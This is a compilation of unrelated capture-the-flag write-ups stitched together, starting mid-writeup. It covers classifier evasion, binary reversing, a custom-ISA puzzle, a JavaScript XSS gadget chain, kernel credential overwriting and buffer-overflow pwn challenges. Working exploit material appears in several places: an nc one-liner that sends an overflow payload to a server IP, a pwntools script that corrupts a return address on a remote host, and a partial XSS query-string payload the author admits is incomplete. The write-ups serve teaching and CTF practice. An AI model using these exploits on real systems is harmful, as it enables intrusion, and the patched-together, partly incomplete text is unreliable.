The initial idea was to modify this image to exploit `diff(I, BASE_IMAGE) > 2` condition. It may be achieved when the output value of `diff` function is `nan`, for example with following transformation:
```I = np.asarray(Image.open('racer.jpg'))I2 = 1.1 * I - np.log(I)```
and new image I2 was still classified as `racer` with 14.859884977340698 probability.
However we could not directly pass the image from the memory to web classifier. We first needed to save it as a file. Unfortunately, during this operation pixel values were rescaled to 0-255 range. This is why this approach was abandoned.
Another idea was to use both "car.jpg" and "racer.jpg" to create falsified image. The new image should be very similar to "car.jpg" but with some characteristics from "racer.jpg" to deceive the classifier. This was successful with the following code:
```I3 = 0.8 * BASE_IMAGE + 0.1 * I**2mpimg.imsave('car2.jpg', I3.astype('uint8'))I3 = np.asarray(Image.open('car2.jpg'))prediction.predictImage(I3, result_count=1, input_type="array")```
The result of `diff(I3, BASE_IMAGE)` is 1.4934139792559178 which is less than 2. And the output of `prediction.predictImage(I3, result_count=1, input_type="array")` is `racer` with 40.07074534893036 probability.
Finally we have the flag! `ctfzone{f1r3-f1r3-pwn-7h3-cl4551f13r}` |
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# Reverse: FakerGiven executable binary:```faker: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=4941fc6369eadbfdf9c93233b5f2f765e7f568d4, for GNU/Linux 3.2.0, not stripped```
## Static analysisLets fire up [Ghidra](https://ghidra-sre.org/) and open this binary. And we can see there is `printFlag` function.
```Cvoid printFlag(char *param_1){ char *__dest; size_t sVar1; int local_30; __dest = (char *)malloc(0x40); memset(__dest,0,0x40); strcpy(__dest,param_1); sVar1 = strlen(__dest); local_30 = 0; while (local_30 < (int)sVar1) { __dest[local_30] = (char)((int)((((int)__dest[local_30] ^ 0xfU) - 0x1d) * 8) % 0x5f) + ' '; local_30 = local_30 + 1; } puts(__dest); return;}```
Also there are 4 functions calling the `printFlag`:1. A2. B3. C4. thisone
```cprintFlag("\\PJ\\fCaq(Lw|)$Tw$Tw@wb@ELwbY@hk"); // function A()printFlag("\\PJ\\fCTq00;waq|w)L0LwL$|)L0k"); // function B()printFlag("\\PJ\\fChqqZw|0;w2l|wELL(wYqqE$ahk"); // function C()printFlag("\\PJ\\fC|)L0LTw@Yt@;Twmq0Lw|qw@w2$a@0;w|)@awmLL|Tw|)LwZL2lhhL0k"); //function thisone()```
## Solution
Easiest solution create simple C app using above functions:
```c#include <stdio.h>#include <string.h>#include <stdlib.h>
void printFlag(char *param_1)
{ char *__dest; size_t sVar1; int local_30;
__dest = (char *)malloc(0x40); memset(__dest,0,0x40); strcpy(__dest,param_1); sVar1 = strlen(__dest); local_30 = 0; while (local_30 < (int)sVar1) { __dest[(long)local_30] = (char)((int)((((int)__dest[(long)local_30] ^ 0xfU) - 0x1d) * 8) % 0x5f) + ' '; local_30 = local_30 + 1; } puts(__dest); return;}
int main () { printFlag("\\PJ\\fChqqZw|0;w2l|wELL(wYqqE$ahk"); printFlag("\\PJ\\fCaq(Lw|)$Tw$Tw@wb@ELwbY@hk"); printFlag("\\PJ\\fCTq00;waq|w)L0LwL$|)L0k"); printFlag("\\PJ\\fC|)L0LTw@Yt@;Twmq0Lw|qw@w2$a@0;w|)@awmLL|Tw|)LwZL2lhhL0k"); return(0);}```
Compile using `gcc`, and run it. And here is the output:```TUCTF{600d_7ry_bu7_k33p_l00k1n6}TUCTF{n0p3_7h15_15_4_f4k3_fl46}TUCTF{50rry_n07_h3r3_317h3r}TUCTF{7h3r35_4lw4y5_m0r3_70_4_b1n4ry_7h4n_m3375_7h3_d3bu663r}```
Last one I think more make sense for the flag. So the flag is: `TUCTF{7h3r35_4lw4y5_m0r3_70_4_b1n4ry_7h4n_m3375_7h3_d3bu663r}`. |
# sice_cream - Points: 500 - (Solves: 54)
Just pwn this program and get a flag. Connect with `nc 2019shell1.picoctf.com 3972`. libc.so.6 ld-2.23.so.
###### Hints: Make sure to both files are in the same directory as the executable, and set LD_PRELOAD to the path of libc.so.6
 |
This is a very in-depth writeup that explains everything you need to know to write an exploit for this challenge.
While I was doing this challenge, I found that none of the other writeups for it really explained everything that was required to understand their writeups.
I thought I would do a writeup that is extremely detailed so that even someone that has never done browser exploitation will understand it.
Hope it helps, feel free to DM me on twitter @farazsth98 with any questions. |
The writeup is available here: https://xarkes.com/b/hacklu-2019-babykernel-wu.htmlTL;DR:1. Compute real_cred offset in task_struct2. Get current_task pointer3. Get current_task->real_cred pointer4. Overwrite current_task->real_cred->fsuid with 05. Read /flag
|
# Reverse: objectGiven only executable binary object `run.o`. Since i can't execute the binary in my system, so I guess it is kind of password entry flag game.
## Static AnalysisFollowing output when trying to identify `run.o` using `file` utility:```run.o: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped```
Let's find out more about this binary using Ghidra. I found 2 interesting parts:1. Function called `checkPassword`2. Block of data labeled `password`
Here is the `checkPassword` function:```cvoid checkPassword(long param_1,undefined8 param_2,undefined8 param_3,undefined8 param_4){ byte *pbVar1; char cVar2; byte bVar3; char *pcVar4; int *piVar5; char cVar6; char unaff_BL; undefined7 unaff_00000019; uint local_10; int local_c;
cVar6 = (char)((ulong)param_4 >> 8); pcVar4 = (char *)func_0x00201024(param_1); *pcVar4 = *pcVar4 + (char)pcVar4; *pcVar4 = *pcVar4 + (char)pcVar4; if (local_c == (int)pcVar4 + 0x15b) { local_10 = 0; } else { piVar5 = (int *)func_0x00201046("Close, but no flag"); cVar2 = (char)piVar5; *(char *)piVar5 = *(char *)piVar5 + cVar2; *(char *)piVar5 = *(char *)piVar5 + cVar2; *piVar5 = *piVar5 + 0x45c70000; *(char *)piVar5 = *(char *)piVar5 + cVar2; *(char *)piVar5 = *(char *)piVar5 + cVar2; } while ((int)local_10 < passlen) { if ((byte)(~(*(char *)(param_1 + (int)local_10) << 1) ^ 0xaaU) == password[(int)local_10]) { local_10 = local_10 + 1; } else { pcVar4 = (char *)func_0x002010b2("Incorrect password\nError at character: %d\n", (ulong)local_10); bVar3 = (byte)pcVar4; *pcVar4 = *pcVar4 + bVar3; *pcVar4 = *pcVar4 + bVar3; unaff_BL = unaff_BL + cVar6; pbVar1 = (byte *)(CONCAT71(unaff_00000019,unaff_BL) + -0x74fe07bb); *pbVar1 = *pbVar1 & bVar3; } } pcVar4 = (char *)func_0x002010cc("Correct Password!"); *pcVar4 = *pcVar4 + (char)pcVar4; *pcVar4 = *pcVar4 + (char)pcVar4; return;}```
And, here is the `password` data block:```//// .rodata// SHT_PROGBITS [0x188 - 0x226]// ram: 00100188-00100226//DAT_00100188 XREF[3]: checkPassword:0010006b(R), 00100228(*), _elfSectionHeaders::00000150(*) 00100188 fd ?? FDh00100189 ff ?? FFh0010018a d3 ?? D3h0010018b fd ?? FDh0010018c d9 ?? D9h0010018d a3 ?? A3h0010018e 93 ?? 93h0010018f 35 ?? 35h 500100190 89 ?? 89h00100191 39 ?? 39h 900100192 b1 ?? B1h00100193 3d ?? 3Dh =00100194 3b ?? 3Bh ;00100195 bf ?? BFh00100196 8d ?? 8Dh00100197 3d ?? 3Dh =00100198 3b ?? 3Bh ;00100199 37 ?? 37h 70010019a 35 ?? 35h 50010019b 89 ?? 89h0010019c 3f ?? 3Fh ?0010019d eb ?? EBh0010019e 35 ?? 35h 50010019f 89 ?? 89h001001a0 eb ?? EBh001001a1 91 ?? 91h001001a2 b1 ?? B1h001001a3 33 ?? 33h 3001001a4 3d ?? 3Dh =001001a5 83 ?? 83h001001a6 37 ?? 37h 7001001a7 89 ?? 89h001001a8 39 ?? 39h 9001001a9 eb ?? EBh001001aa 3b ?? 3Bh ;001001ab 85 ?? 85h001001ac 37 ?? 37h 7001001ad 3f ?? 3Fh ?001001ae eb ?? EBh001001af 99 ?? 99h001001b0 8d ?? 8Dh001001b1 3d ?? 3Dh =001001b2 39 ?? 39h 9001001b3 af ?? AFh001001b4 00 ?? 00h```
So, this part of `checkPassword` function perform necessary check for each character input against encrypted `password` data.
```cif ((byte)(~(*(char *)(param_1 + (int)local_10) << 1) ^ 0xaaU) == password[(int)local_10]) { local_10 = local_10 + 1;}```## SolutionTo reverse the function and get all the character check returned `true`, we can make simple application using the same checking algorithm. Since Java is more practical to me, so here is the solution in Java:```java public static void main(String[] args) { byte[] data = new byte[]{ (byte) 0xfd, (byte) 0xff, (byte) 0xd3, (byte) 0xfd, (byte) 0xd9, (byte) 0xa3, (byte) 0x93, (byte) 0x35, (byte) 0x89, (byte) 0x39, (byte) 0xb1, (byte) 0x3d, (byte) 0x3b, (byte) 0xbf, (byte) 0x8d, (byte) 0x3d, (byte) 0x3b, (byte) 0x37, (byte) 0x35, (byte) 0x89, (byte) 0x3f, (byte) 0xeb, (byte) 0x35, (byte) 0x89, (byte) 0xeb, (byte) 0x91, (byte) 0xb1, (byte) 0x33, (byte) 0x3d, (byte) 0x83, (byte) 0x37, (byte) 0x89, (byte) 0x39, (byte) 0xeb, (byte) 0x3b, (byte) 0x85, (byte) 0x37, (byte) 0x3f, (byte) 0xeb, (byte) 0x99, (byte) 0x8d, (byte) 0x3d, (byte) 0x39, (byte) 0xaf}; for (int j = 0; j < data.length; j++) { int a = 0; boolean ketemu = false; for (int i = 0; i < 256; i++) { // ((byte)(~(*(char *)(param_1 + (int)local_10) << 1) ^ 0xaaU) == password[(int)local_10]) if ((byte) (~((i + j) << 1) ^ (int) 0xaa) == data[j]) { System.out.printf("%c", i + j); break; } } } }```
Here is the output when Java program executed, and also the flag:```TUCTF{c0n6r47ul4710n5_0n_br34k1n6_7h15_fl46}``` |
Hjarnknull [Misc, 337 points, 7 solves]==========
Hjarnknull is a challenge where you're given a Python script that's an emulator for a custom instruction set architecture. You are tasked to implement addition, subtraction, and multiplication in a very limited assembly language that only has a few bitwise operations built-in.
How hard could it possibly be? I can't imagine there's any way that I would spend 12 hours straight working on this challenge (narrator: he did). I had MANY failed attempts at solving this challenge before finally coming up with a working solution. All of my scripts are included in this directory, including my failed attempts and various tests. I played this CTF as part of Pwninsula, and we ended up coming in 9th place overall.
### Instruction Set
After reading through the script, here are the available instructions and my translations:
| Hjarnknull Instruction | My translation | Operation ||------------------------|-----------------------------|----------------------|| `eller` | `orr` (bitwise or) | `a \|= b` || `inte` | `inv` (bitwise inverse) | `a = ~a` || `testa` | `jeq` (jump if equal) | `if a == b: call c ` || `poppa` | `ret` (return) | `pop ip and jmp` || `in` | `rdn` (read number) | `a = int(input())` || `ut` | `wrn` (write number) | `print(a)` || `hsh` | `lsr` (logical shift right) | `a >>= b` || `vsh` | `lsl` (logical shift left) | `a <<= b` |
And that's it! There's only those 8 instructions. Not even a simple `mov` instruction. Also, all operands (except for jump target) are memory addresses, so there's no way to use an immediate (literal) value in an instruction.
### Memory Layout
The "address space", if you can call it that, is split into a code segment and data segment. The code segment has no size limit, and just holds the instructions you provide, starting at 0. The data segment holds exactly 1000 Python numbers, each initially set to 1. There is also a call stack that is internally used by the `jeq` and `ret` instructions, and all it holds is return addresses.
### Challenge Description
This challenge requires you to write a program in this architecture that does the following:
Start by reading three numbers, which are `operation`, `x`, and `y`. Then, your program will do one of three things depending on the value of `operation`:
* `operation == 0`: Compute `x + y`, then write the result.* `operation == 1`: Compute `x - y`, then write the result.* `operation == 2`: Compute `x * y`, then write the result.
On normal architectures, this challenge would be incredibly easy. However, the limited set of instructions make this challenge extremely difficult. Here are some missing instructions that would've helped make this significantly easier, starting with the three obvious ones: `add`, `sub`, `mul`, `mov`, `xor`, a conditional jump instruction that doesn't push a return address.
### Writing a Subtraction Function
Let's ignore `add` for the moment. Assuming that we have a working `add` function, then `sub` can be built on top of that by just doing `x + (-y)`. We don't have a `neg` (integer negation) instruction, but that can be built like so:
```inv xadd x, 1```
This works because of how two's complement, the format commonly used for representing integers in computers, works. Here are some equivalent expressions: `-~x == x + 1`, `~-x == x - 1`, `-x = ~x + 1`. The way I remember this is by considering the values 0 and -1, which are bitwise inverses of each other. Start with 0, bitwise invert it to get -1, then negate that and you have 1. So `-~x == x + 1`. Though sometimes I forget and just quickly open a Python prompt and do `-~x` and `-~x` to remind myself which one is which.
Anyways, we have now built our first pseudoinstruction, `neg(x)`. I will continue designing pseudoinstructions throughout this write-up, which will be differentiated from real instructions by wrapping the arguments in parentheses like a macro.
So assuming we can write a working `add` function, then we have `sub` solved.
### Writing a Multiplication Function
Multiplication is a bit tougher to implement than subtraction, but it can also be built on top of a working `add` function without too much difficulty. For this, an easy solution is to add `x` to an initially zero `result` variable while decrementing `y` until it reaches zero. That was how I started writing my `mul` function, but I later switched to a different algorithm that only uses a single `add` call per loop iteration. The first approach would have worked though. The algorithm for multiplication that I used is the second code snippet in this [Stack Overflow answer](https://stackoverflow.com/a/14663667). Here's what it looks like implemented in Python using only the operations available to us in the ISA:
```pythondef mul(x, y): result = 0 sign = 0 if x >> 64 == -1: x = neg(x) sign = ~sign if y >> 64 == -1: y = neg(y) sign = ~sign while True: if y == 0: break if y & 1: result = add(result, x) x <<= 1 y >>= 1 if sign == -1: result = neg(result) return result```
The `add` and `neg` functions there are my Python implementations of the algorithms I used in my solution, though at first `add` just used the Python `+` operator. Because the algorithm from the Stack Overflow answer only supports unsigned (positive) integers, I started by making `x` and `y` positive, then at the end if either `x` or `y` were negative but not both, I negate the result. After testing a ton of inputs on this function I confirmed that it worked correctly.
### My Assembler
I knew from the amount of code that would be needed that I would have to write an assembler of some sort. The one I wrote is fairly dumb but lets you write your instructions in Python in what's effectively a DSL (domain specific language) for this challenge. Each instruction or pseudoinstruction is implemented as a Python function that returns a list of strings, where these strings are the raw instructions. Here are the 8 real instructions implementations:
```pythondef orr(a, b): return ["eller %d %d" % (a, b)]
def inv(a): return ["inte %d" % (a,)]
def jeq(a, b, c): return ["testa %d %d @%s" % (a, b, c)]
def ret(): return ["poppa"]
def rdn(a): return ["in %d" % (a,)]
def wrn(a): return ["ut %d" % (a,)]
def lsr(a, b): return ["hsh %d %d" % (a, b)]
def lsl(a, b): return ["vsh %d %d" % (a, b)]```
The arguments are memory addresses, except for the jump target in `jeq`. In that instruction, I pass a label string (which is prefixed with an `@` character for making it easy to resolve label references later).
I also have an init function which just gives me useful numbers like 0, -1, the digits 1-10, and powers of 2 up to 64 (remember there are no immediates in this ISA). Any number that I want to use in the program at some point has to be built from the number 1 with a combination of shifting, bitwise or, and bitwise inverse. Here's the part that gets the numbers -1 to 10:
```pythondef init(): return ( # Get numbers -1 through 10 lsr(-1, 1) + inv(-1) + # $-1 = ~(1 >> 1) = -1 lsr(0, 1) + # $0 = 1 >> 1 = 0 lsl(2, 1) + # $2 = 1 << 1 = 2 orr(3, 2) + lsl(4, 2) + # $4 = 1 << 2 = 4 orr(5, 4) + lsl(6, 1) + orr(6, 4) + orr(7, 3) + orr(7, 4) + lsl(8, 2) + # $8 = 1 << 2 = 4 lsl(8, 1) + # $8 = 4 << 1 = 8 orr(9, 8) + lsl(10, 1) + orr(10, 8) + #...snip... )```
This also shows how my assembler functions will be written, which is by calling a bunch of other functions and joining their lists together in order. Here's a few other useful pseudoinstructions I implemented:
```pythondef zero(x): """ x = 0 == ~(x | -1) """ return ( orr(x, -1) + inv(x) )
def mov(x, y): """ x = y == zero(x); x |= y """ return ( zero(x) + orr(x, y) )
def bit_and(x, y): """ x & y == ~(~x | ~y)""" tmp = scratch("bit_and.tmp") return ( inv(x) + mov(tmp, y) + inv(tmp) + orr(x, tmp) + inv(x) )
def call(target): """ if 0 == 0 call target """ return jeq(0, 0, target)```
The definition of `bit_and` needs a temporary variable. To handle this, I made a very dumb register allocator called `scratch` which just return the next unused memory address number. It also takes a string which is the name of the variable, which will be used for aiding debugging. Now that these funcitons have been written, I can now clear variables (`zero`), copy values from one variable to another (`mov`), use a bitwise AND operator (`bit_and`), and call functions in a cleaner and more clear way (`call`).
### Writing an Addition Function (the core of the challenge)
My first attempt involved looping through bit by bit, taking each bit from the inputs combined with a carryIn value and using chained branching to decide the values for that bit in the sum and whether the carryOut should be set from this bit. There were a bunch of problems I had with this one-shot approach while testing a Python implementation, but I ended up assembling that to the target assembly language and trying it. At that time, my assembler inlined every "call". This was because I saw that when you use a `jeq` instruction, whenever it takes the jump it always pushes the return address to the calls tack. This means that if your function uses any internal branching, that it would no longer be able to return to the correct address, because the `ret` instruction at the end would return to the last place that your function branched from rather than the place it was called from. I later figured out a way to make proper functions that had internal branching, but that wasn't until my final working attempt. Therefore, this initial attempt contained exactly 1151 real instructions after being assembled. Unfortunately, it didn't work correctly, and it would have been a nightmare to debug that mess of code, so I ended up scrapping that attempt and moving on.
### Addition Attempt #2 (absolute insanity)
Let me preface this by saying that at the time, I had been working on this CTF for the entire day straight, so I was tired and not exactly making great decisions. Now with that disclaimer out of the way, here's what I tried. I wrote some functions that acted as logic gates. Given boolean inputs `x` and `y` (-1 is true, 0 is false, because they can easily be flipped with a single `inv` instruction), these logic gate macros would compute their results and write them to a `result` address. Here's the functions I wrote for this:
```pythondef gate_not(a, result): return ( mov(result, a) + inv(result) )
def gate_or(a, b, result): return ( mov(result, a) + orr(result, b) )
def gate_and(a, b, result): """ Returns -1 in result if both a and b are nonzero, 0 otherwise. """ bool_and_false = symbol("gate_and.false") bool_and_return = symbol("gate_and.return") return ( jeq(a, 0, bool_and_false) + jeq(b, 0, bool_and_false) + orr(result, -1) + jeq(0, 0, bool_and_return) + label(bool_and_false) + zero(result) + label(bool_and_return) )
def gate_nand(a, b, result): return ( gate_and(a, b, result) + inv(result) )
def gate_xor(a, b, result): """ Given boolean values a and b, where 0 is false and -1 is true, set result to a ^ b. """ bool_xor_false = symbol("gate_xor.false") bool_xor_return = symbol("gate_xor.return") return ( jeq(a, b, bool_xor_false) + orr(result, -1) + jeq(0, 0, bool_xor_return) + label(bool_xor_false) + zero(result) + label(bool_xor_return) )```
Now you can also see how I defined and used labels in my assembler. So with logic gates available for NOT, AND, OR, XOR, and NAND, I did the only logical thing: write a half adder and full adder:
```pythondef half_adder(a, b, s, cout): return ( gate_xor(a, b, s) + gate_and(a, b, cout) )
def full_adder(p, q, cin, cout, s): tmp_s = scratch("full_adder.tmp_s") tmp_co1 = scratch("full_adder.tmp_co1") tmp_co2 = scratch("full_adder.tmp_co2") return ( half_adder(p, q, tmp_s, tmp_co1) + half_adder(cin, tmp_s, s, tmp_co2) + gate_or(tmp_co1, tmp_co2, cout) )```
Yay! Now I can add two bits and a carryIn value together to get a sum bit and a carryOut bit! So from this point, my decisions became even more questionable. I wrote binary decoder and encoder functions that took the input `x` and `y` values and converted them to 64 boolean values in 64 memory addresses. Here's what the decoder (number to bits) function looked like:
```pythondef num_to_bits(n, start): bit = scratch("num_to_bits.bit") tmp = scratch("num_to_bits.tmp") insns = [] for i in range(64): insns.extend(orr(start + i, -1)) insns.extend(mov(bit, 1)) for i in range(64): bit_is_set = symbol("decode_bit_%d_is_set" % i) insns.extend( mov(tmp, n) + bit_and(tmp, bit) + jeq(tmp, bit, bit_is_set) + zero(start + i) + label(bit_is_set) + lsl(bit, 1) ) return insns```
Yes, that is indeed me duplicating an instruction sequence 64 times with meta-programming. The encoder function was almost identical. So now with all of this in place, all that was left was to decode the inputs `x` and `y`, run their bits through 64 parallel full adders, and then encode the resulting bits back into the `result` variable. Yes, I really did this:
```pythondef add_insane(x, y, result): x_start = 700 y_start = 800 r_start = 900 carryIn = scratch("add.carryIn") carryOut = scratch("add.carryOut") insns = [] insns.extend( num_to_bits(x, x_start) + num_to_bits(y, y_start) + zero(carryIn) ) for i in range(64): insns.extend( full_adder(x_start + i, y_start + i, carryIn, carryOut, r_start + i) ) if i != 63: insns.extend(mov(carryIn, carryOut)) insns.extend(bits_to_num(r_start, result)) return insns```
It's important to remember that at this point my assembler was inlining everything like macros, because I hadn't yet realized how `jeq` could be used as a `call` instruction for functions with internal branching. Therefore, after assembling the entire program, which called `add` about 4 or 5 times (in `neg`, in `sub`, in `mul` once or twice, and of course for the `add` operation), the resulting assembled program was exactly 27,810 instructions long. This is so long that it actually takes the emulator about 4 minutes of CPU time to just read the program in, meaning it times out way before it has even finished reading in the program. Here's what the challenge author "nnewram" had to say when I told him this:
The worst part is that after waiting the solid 4 minutes for the program to be read in, it didn't work. There was no way I wanted to spend time debugging that monstrosity, so I scrapped that idea.
### Calling Functions with Internal Branches
At this point I decided I should see if I could come up with some way to use the `jeq` and `ret` instructions properly to call functions. Calling functions that don't have any internal branching would be easy and just work. However, the type of functions that I would want to call were complicated ones with branching (like `add`), so that wasn't enough. Basically, to get it to work correctly, you would have to use a `ret` instruction at some point after every single `jeq` instruction, even if it was just a branch for an `if` statement or a loop. I finally figured out that I could restructure my functions into linear functions that would call subfunctions, and that this could be used to achieve internal control flow like conditionals and loops. With that in mind, I came up with an algorithm for `add` and started by implementing it in Python and testing it extensively:
```pythondef add_bit(x, y, carryIn): result = 0 carryOut = 0 if x | 1 == x: # x & 1 carryOut |= result result = ~result if y | 1 == y: # y & 1 carryOut |= result result = ~result if carryIn == -1: carryOut |= result result = ~result return result, carryOut
def add(x, y): result = 0 bit = 1 carryOut = 0 mask = 0 while True: carryIn = carryOut s, carryOut = add_bit(x, y, carryIn) if s == -1: result |= bit bit <<= 1 mask <<= 1 mask |= 1 x >>= 1 y >>= 1 if x == 0: if y == 0: if carryOut == 0: break else: # There's a carry-out, but both x and y are zero, # so the carry-out will be handled in the next # loop iteration continue elif y == -1: # The remaining sign bits of the result will be # the opposite of carryOut. carryOut = ~carryOut break elif x == -1: if y == 0: carryOut = ~carryOut break elif y == -1: # The sign bits of x and y are identical, # meaning they will cancel each other out during # the addition. That means that the sign bits of # the result will be set to carryOut break # Copy the sign bits from carryOut onto the result result |= carryOut & ~mask return result```
This variant of the `add` function uses a helper function `add_bit`. Basically, the concept here is that I am building up a `result` value while shrinking down both `x` and `y` one bit at a time, tracking carries as I go. Because of how annoying Python's integers (actually BigInt) are when using bitwise operators, I have to take extra care when handling signed values.
These functions worked, so all that was left was to turn them into functions in my assembler and flatten the control flow so that calls work correctly. Because of how long the actual functions in my assembler are, I'll just share the pseudocode for them here:
#### add_bit()
```pythonadd_bit(x, y, carryIn, result, carryOut): result = 0 carryOut = 0 if x | 1 == x: call got_bit if y | 1 == y: call got_bit if carryIn == -1: call got_bit ret
got_bit: carryOut |= result result = ~result ret```
#### add()
```pythonadd(x, y, result): result = 0 bit = 1 carryOut = 0 mask = 0 shouldBreak = 0 call add_loop # Copy the sign bits from carryOut onto the result result |= carryOut & ~mask return result
add_loop: carryIn = carryOut s, carryOut = add_bit(x, y, carryIn) if s == -1: call set_bit bit <<= 1 mask <<= 1 mask |= 1 x >>= 1 y >>= 1 if x == 0: call x_zero if x == -1: call x_negone if shouldBreak == 0: call add_loop ret
set_bit: result |= bit ret
x_zero: if y == 0: call x_zero_y_zero if y == -1: call flip_break ret
x_zero_y_zero: if carryOut == 0: call set_break else: # There's a carry-out, but both x and y are zero, # so the carry-out will be handled in the next # loop iteration continue ret
flip_break: # The remaining sign bits of the result will be # the opposite of carryOut. carryOut = ~carryOut shouldBreak = -1 ret
set_break: shouldBreak = -1 ret
x_negone: if y == 0: call flip_break if y == -1: call set_break # The sign bits of x and y are identical, # meaning they will cancel each other out during # the addition. That means that the sign bits of # the result will be set to carryOut ret```
With those functions written, in combination of the rest of the assembler and functions, the final assembled code is exactly 265 instructions long, and was able to correctly solve the challenge for me to get the flag.
### Conclusion
This challenge was a lot of fun to work on, but overall I don't think it was a very well designed challenge (even though I usually love challenges with custom instructions sets). The core part of the challenge was figuring out how to implement addition with only shifts, bitwise or, and bitwise inverse. Coming up with how to do that isn't terribly challenging. However, there was so much tedious work required to get assembly code that solves this due to lack of instructions like `mov`, `xor`, and proper `call`/`jmp`/conditional jump instructions that the vast majority of my time spent on this challenge was focused on those parts. I'm still glad that I worked on this challenge and ended up solving it, but it could have been improved substantially.
I would like to thank the organizers for hosting watevr CTF, and I think that they did a fantastic job hosting it considering that this was the first CTF they have run. I especially liked the CTF website they used, which seems much nicer than CTFd in my opinion, and I'm excited about maybe using it for future CTFs that I run. Big shoutout to nnewram for listening to me as I ranted about this challenge in his Discord DMs for hours!
The code from my assembler, my testing, and my modified version of the emulator with extra debugging functionality is available in this folder on GitHub! |
The challenge takes the url query string and parses it in blocks of 4 characters.4 characters in each block are parsed as dest, fn, arg1, arg2 respectivelyThen we have the env variable which has 4 parts
```let env = { a: (x, y) => x[y], b: (x, y) => x + y, c: (x) => !x, d: [] };```
The following code is executed after parsing each block.`env[dest] = env[ fn ]( env[ arg1 ] , env[ arg2 ] )`
Our goal here is do a alert(1).Since all we can do are operations on env only using functions inside env with arguments also from env We will try to do
`env["b"].constructor("alert(1)")()`
Now we need to get the strings "constructor" and "alert(1)" inside env, since our input doesn't directly go into env we need to build the string with the operations provided.This is where weird javascript quirks help
```!( [ ] ) => false!( false ) => truefalse + [ ] => "false"true + [ ] => "true""false" + "true"```
Now our alphabet is `"falsetrue"`
We can get the string "undefined" by trying to read a key that does not existNow our alphabet is `"falsetrueundefined"`
By adding a function to a string `env[a] + [ ] => "(x, y) => x[y]"`
Now our alphabet is `"falsetrueundefined(x, y) => x[y]"`We can build "alert( )" using these alphabets
To build the string we need to access characters via array index, therefore we need numbers of index we want to access inside env.We can do this by adding boolean
```true + true => 2true + false => 11 + true => 3```
Using above we can access all indexes and we can build the string "alert(1)"Now to build the string "constructor" we need the character "c" and "o" which we don't have in our alphabet "falsetrueundefined(x, y) => x[y]"We can get this by env.d which is an array, we can build "flat" using our alphabets
`[ ]["flat"] + [ ] => "function flat() { [native code] }"`
so now our alphabet is `"falsetrueundefined(x, y) => x[y]function flat() { [native code] }"`we can use this to build "constructor" similarly as we did "alert(1)"
and then finally do this operation`env[ b ][ "constructor" ]([ ],"alert(1)")([ ],[ ])`
?12345fcddfbdftceefbftfbfgxbfafcta1bftpax12bttzax2pbpz4b22zax4pbpz6b24zax6pbpz5b14zax5pbpznb66nb6nzaxnpbpzpbp1nbn5zaxnpbpznb66nb1nzaxn3b21qax2qbzqzax1qbqzzax5qbqzzadqybdzqay3zay6qbqzzay2qbqzzax3qbqzzax5qbqzrax6qbqruay1qbquuay3qbquqbqzzay6qbqzqbqrcaaqecdpeedd(I did not save the final payload during the ctf and the organizer took the challenge down while I was writing, this is missing the last few steps ) |
Hey guys back with another set of few writeups
# **MISC**
## Polly-:> description:
I sure do love my polly uh ehh i mean polynomials, heh. Yeah that's what I meant...
### Solution:
We were given [polly.txt](scripts/polly.txt) file which contains the polynomialand following observations I conlcuded from them:
1. Why there are mostly zeroes at the end of denominator in each coefficient2. Then 119 is the ascii of 'w'.
then looking for more in direction of approach 2nd I thought, that 119 is the value of polynomial at value '0'.So maybe 'a' will be the value of polynomial at x='1' as we know the flag format 'watevr{'.
Thus [scripting](scripts/poly.py) it in few lines using [sympy](https://www.sympy.org/).I wonder though it has quite less solves :confused:```python
from sympy import *y=eval(open("polly.txt","r").read())x=symbols('x')print(''.join([chr(y.subs(x,i)) for i in range(57)]))```
Here is our flag:> watevr{polly_polynomials_youtube.com/watch?v=THNWVVn9JO0}
# **PWN**
## Voting Machine 1-:> description:
In a world with many uncertainties we need some kind of structure. Democracy is a big part of that, therefore we need voting machines! Well, at least if they are safe...
### Solution:
We were given 64 bit binary [kamikaze](scripts/kamikaze)
>kamikaze: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=0e647f48bd36f15e866166910d10dd173fb0fcf6, not stripped
Upon finding functions `0x0000000000400807 super_secret_function` found this but main function wasn't redirecting it.So basic buffer overflow challenge and set the return pointer to this function and then execute it . For offset calculation the buffer size was 2 so adding 8 bytes extra as in 64 bit binary to set the instruction pointer to the right location.
So one liner linux command for that:
`(python -c 'from pwn import p64;print "A"*10 +p64(0x00400807)') | nc 13.48.67.196 50000`
```Hello and welcome to our voting application!Today's vote will be regarding the administration ofwatevr CTF.the voting range is 0 to 10. 0 being the worst possible and 10 being the best possible.Thanks!Vote: Thanks for voting!watevr{w3ll_th4t_w4s_pr3tty_tr1v1al_anyways_https://www.youtube.com/watch?v=Va4aF6rRdqU}```
Here is our flag
> watevr{w3ll_th4t_w4s_pr3tty_tr1v1al_anyways_https://www.youtube.com/watch?v=Va4aF6rRdqU}
|
Use a format string bug to leak libc, and pie. Then do a got overwrite. Checkout the writeup for a much more thorough explannation. Also checkout https://github.com/guyinatuxedo/nightmare if you want to learn more about binary exploitation / reverse engineering.
https://github.com/guyinatuxedo/nightmare/tree/master/modules/10-fmt_strings/watevrctf19_betstar |
See [full writeup https://github.com/happysox/CTF_Writeups/tree/master/watevr_CTF_2019/M-x_5x5](https://github.com/happysox/CTF_Writeups/tree/master/watevr_CTF_2019/M-x_5x5)### TL;DR[x64 binary](./M-x-5x5)
* Tile flipping game played over netcat * Like http://www.logicgamesonline.com/lightsout/* Board is stored on the stack* Out of bounds "flips" = partial XOR of a return address => win function
**watevr{maybe_well_implement_M-x_tetris_some_day}**
```python#!/usr/bin/python2
from pwn import *
with context.quiet: #p = process('./M-x-5x5') p = remote('13.53.187.163', 50000) p.sendline() p.sendlineafter('8)? ', "8") # Size of board doesn't actually matter
#gdb.attach(p, """ # b *0x4008f7 # b *0x0000000000400acc # b *0x00000000004008ae #""")
xors_1 = [3, 5, 6, 8] xors_2 = [1, 4]
# Flipping the correct tiles => actually XORing # parts of the main loop's return pointer on the stack for x in xors_1: p.sendlineafter('q]: ', "f %s 17" % str(x)) # Flip row 17, col x for x in xors_2: p.sendlineafter('q]: ', "f %s 16" % str(x)) # Flip row 16, col x p.sendlineafter('q]: ', "q") p.interactive() p.close()``` |
